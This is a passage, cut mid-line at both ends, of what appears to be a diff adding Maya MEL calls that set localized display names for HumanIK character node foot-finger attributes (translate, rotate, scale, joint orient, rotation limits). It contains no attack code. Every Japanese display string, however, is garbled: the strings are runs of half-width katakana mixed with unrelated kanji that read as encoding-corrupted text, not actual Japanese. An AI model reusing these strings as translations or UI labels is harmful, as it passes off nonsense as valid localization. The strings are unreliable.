"ラスナチヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxis", "ラスナチヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxisx", "ラスナチヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxisy", "ラスナチヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateAxisz", "ラスナチヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrient", "ラスナチヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrientx", "ラスナチヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrienty", "ラスナチヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerJointOrientz", "ラスナチヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimit", "ラスナチヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitx", "ラスナチヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimity", "ラスナチヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitz", "ラスナチヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimit", "ラスナチヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitx", "ラスナチヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimity", "ラスナチヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitz", "ラスナチヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitEnablex", "ニモテラスナチヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitEnabley", "ニモテラスナチヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMinRLimitEnablez", "ニモテラスナチヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitEnablex", "ニモテラスナチヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitEnabley", "ニモテラスナチヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerMaxRLimitEnablez", "ニモテラスナチヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumb", "モメスナエヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbT", "モメスナエヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbTx", "モメスナエヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbTy", "モメスナエヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbTz", "モメスナエヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbR", "モメスナエヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRx", "モメスナエヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRy", "モメスナエヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRz", "モメスナエヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbS", "モメスナエヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbSx", "モメスナエヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbSy", "モメスナエヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbSz", "モメスナエヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateOrder", "モメスナエヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxis", "モメスナエヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxisx", "モメスナエヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxisy", "モメスナエヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbRotateAxisz", "モメスナエヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrient", "モメスナエヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrientx", "モメスナエヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrienty", "モメスナエヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbJointOrientz", "モメスナエヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimit", "モメスナエヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitx", "モメスナエヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimity", "モメスナエヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitz", "モメスナエヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimit", "モメスナエヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitx", "モメスナエヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimity", "モメスナエヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitz", "モメスナエヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitEnablex", "ニモテモメスナエヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitEnabley", "ニモテモメスナエヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMinRLimitEnablez", "ニモテモメスナエヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitEnablex", "ニモテモメスナエヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitEnabley", "ニモテモメスナエヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootThumbMaxRLimitEnablez", "ニモテモメスナエヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndex", "モメスナカヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexT", "モメスナカヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexTx", "モメスナカヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexTy", "モメスナカヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexTz", "モメスナカヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexR", "モメスナカヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRx", "モメスナカヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRy", "モメスナカヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRz", "モメスナカヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexS", "モメスナカヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexSx", "モメスナカヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexSy", "モメスナカヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexSz", "モメスナカヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", "モメスナカヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxis", "モメスナカヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxisx", "モメスナカヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxisy", "モメスナカヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxisz", "モメスナカヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrient", "モメスナカヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrientx", "モメスナカヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrienty", "モメスナカヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrientz", "モメスナカヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimit", "モメスナカヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitx", "モメスナカヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimity", "モメスナカヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitz", "モメスナカヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimit", "モメスナカヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitx", "モメスナカヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimity", "モメスナカヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitz", "モメスナカヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitEnablex", "ニモテモメスナカヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitEnabley", "ニモテモメスナカヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitEnablez", "ニモテモメスナカヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitEnablex", "ニモテモメスナカヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitEnabley", "ニモテモメスナカヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitEnablez", "ニモテモメスナカヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddle", "モメスナヨミヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleT", "モメスナヨミヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleTx", "モメスナヨミヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleTy", "モメスナヨミヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleTz", "モメスナヨミヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleR", "モメスナヨミヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRx", "モメスナヨミヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRy", "モメスナヨミヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRz", "モメスナヨミヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleS", "モメスナヨミヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleSx", "モメスナヨミヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleSy", "モメスナヨミヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleSz", "モメスナヨミヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", "モメスナヨミヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxis", "モメスナヨミヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxisx", "モメスナヨミヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxisy", "モメスナヨミヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxisz", "モメスナヨミヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrient", "モメスナヨミヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrientx", "モメスナヨミヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrienty", "モメスナヨミヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrientz", "モメスナヨミヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimit", "モメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitx", "モメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimity", "モメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitz", "モメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimit", "モメスナヨミヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitx", "モメスナヨミヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimity", "モメスナヨミヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitz", "モメスナヨミヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitEnablex", "ニモテモメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitEnabley", "ニモテモメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitEnablez", "ニモテモメスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitEnablex", "ニモテモメスナヨミヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitEnabley", "ニモテモメスナヨミヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitEnablez", "ニモテモメスナヨミヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRing", "モメスナヒトヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingT", "モメスナヒトヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingTx", "モメスナヒトヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingTy", "モメスナヒトヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingTz", "モメスナヒトヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingR", "モメスナヒトヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRx", "モメスナヒトヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRy", "モメスナヒトヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRz", "モメスナヒトヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingS", "モメスナヒトヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingSx", "モメスナヒトヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingSy", "モメスナヒトヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingSz", "モメスナヒトヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateOrder", "モメスナヒトヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxis", "モメスナヒトヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxisx", "モメスナヒトヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxisy", "モメスナヒトヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxisz", "モメスナヒトヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrient", "モメスナヒトヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrientx", "モメスナヒトヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrienty", "モメスナヒトヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrientz", "モメスナヒトヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimit", "モメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitx", "モメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimity", "モメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitz", "モメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimit", "モメスナヒトヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitx", "モメスナヒトヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimity", "モメスナヒトヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitz", "モメスナヒトヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitEnablex", "ニモテモメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitEnabley", "ニモテモメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitEnablez", "ニモテモメスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitEnablex", "ニモテモメスナヒトヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitEnabley", "ニモテモメスナヒトヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitEnablez", "ニモテモメスナヒトヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinky", "モメスナミ。ヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyT", "モメスナミ。ヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyTx", "モメスナミ。ヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyTy", "モメスナミ。ヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyTz", "モメスナミ。ヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyR", "モメスナミ。ヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRx", "モメスナミ。ヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRy", "モメスナミ。ヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRz", "モメスナミ。ヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyS", "モメスナミ。ヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkySx", "モメスナミ。ヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkySy", "モメスナミ。ヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkySz", "モメスナミ。ヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", "モメスナミ。ヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxis", "モメスナミ。ヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxisx", "モメスナミ。ヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxisy", "モメスナミ。ヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxisz", "モメスナミ。ヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrient", "モメスナミ。ヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrientx", "モメスナミ。ヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrienty", "モメスナミ。ヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrientz", "モメスナミ。ヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimit", "モメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitx", "モメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimity", "モメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitz", "モメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimit", "モメスナミ。ヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitx", "モメスナミ。ヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimity", "モメスナミ。ヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitz", "モメスナミ。ヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitEnablex", "ニモテモメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitEnabley", "ニモテモメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitEnablez", "ニモテモメスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitEnablex", "ニモテモメスナミ。ヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitEnabley", "ニモテモメスナミ。ヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitEnablez", "ニモテモメスナミ。ヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFinger", "モメスナチヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerT", "モメスナチヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerTx", "モメスナチヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerTy", "モメスナチヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerTz", "モメスナチヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerR", "モメスナチヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRx", "モメスナチヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRy", "モメスナチヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRz", "モメスナチヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerS", "モメスナチヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerSx", "モメスナチヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerSy", "モメスナチヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerSz", "モメスナチヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", "モメスナチヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxis", 